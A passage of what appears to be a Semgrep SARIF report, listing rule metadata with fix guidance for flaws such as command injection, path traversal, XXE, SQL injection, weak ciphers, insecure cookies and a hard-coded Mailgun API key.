[https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Mailgun API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","id":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","name":"generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected subprocess function '$FUNC' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"help":{"markdown":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux)\n - [https://pkg.go.dev/net/http#ServeMux.Handler](https://pkg.go.dev/net/http#ServeMux.Handler)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"Untrusted input might be used to build a path, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files can be accessed, such as configuration files or user data, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the `SecureJoin` function in `filepath-securejoin`."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","id":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","name":"go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint-mux.net-http-path-traversal-taint-mux"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach `$VM`."},"help":{"markdown":"Make sure that unverified user data can not reach `$VM`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `$VM`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm-injection.express-vm-injection","id":"javascript.express.security.express-vm-injection.express-vm-injection","name":"javascript.express.security.express-vm-injection.express-vm-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm-injection.express-vm-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.validator-xxe.validator-xxe","id":"kotlin.xxe.validator-xxe.validator-xxe","name":"kotlin.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","id":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","name":"kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-exposed-unsafe-exec-sqli.ktor-exposed-unsafe-exec-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"help":{"markdown":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Using `sizeof(...)` on a pointer type is error prone and can lead to memory corruption if the incorrect size is used to allocate memory. An explicit length should be used instead of using `sizeof(...)`."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","id":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","name":"cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-pointer-type.sizeof-pointer-type"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","id":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","name":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"help":{"markdown":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://nginx.org/en/docs/http/configuring_https_servers.html](https://nginx.org/en/docs/http/configuring_https_servers.html)\n","text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version","id":"generic.nginx.security.missing-ssl-version.missing-ssl-version","name":"generic.nginx.security.missing-ssl-version.missing-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-ssl-version.missing-ssl-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection","id":"python.flask.security.injection.nan-injection.nan-injection","name":"python.flask.security.injection.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"help":{"markdown":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"help":{"markdown":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator)\n - [https://laravel.com/docs/9.x/validation#rule-unique](https://laravel.com/docs/9.x/validation#rule-unique)\n","text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","id":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","name":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper 